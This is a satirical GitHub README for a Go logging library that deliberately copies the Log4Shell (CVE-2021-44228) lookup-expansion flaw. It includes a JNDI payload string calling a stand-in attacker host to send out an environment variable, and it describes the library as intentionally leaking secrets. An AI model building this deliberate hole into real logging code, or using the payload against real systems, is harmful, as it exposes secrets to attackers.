Skip to content

bradfitz/jndi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

an irresponsibly bad logging library

Is CVE-2021-44228 making you feel left out as a Go programmer?

Fear not. We can fix that.

I wouldn't use this package, but if you want to...

package main

import "github.com/bradfitz/jndi"

var logger = jndi.NewLogger()

func main() {
	//...
}

func handleSomeTraffic(r *request) {
        logger.Printf("got request from %s", r.URL.Path)
}

Congrats, the user actually wrote ${jndi:ldap://attacker.example/${env:${lower:u}ser}} and the logger expanded your environment variable and sent it over the network as a side-effect of logging.

Inspiration

I saw https://twitter.com/_StaticFlow_/status/1469358229767475205 and thought it'd be fun to write an expander while I was bored, stuck in transit.

Bugs

This package is incomplete. log4j actually does a bunch more:

Patches welcome to help flesh this package out. We've got some catching up to do.

Apologies

In case you're seeing this on GitHub and not via Twitter, I acknowledged that this is questionable taste: https://twitter.com/bradfitz/status/1469523985998118925

In general I believe in the whole #hugops thing. I had a CVE filed against my own code just the day before: https://twitter.com/bradfitz/status/1469015417679081472

It happens. I joke to cope.

About

a irresponsibly bad logging library

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages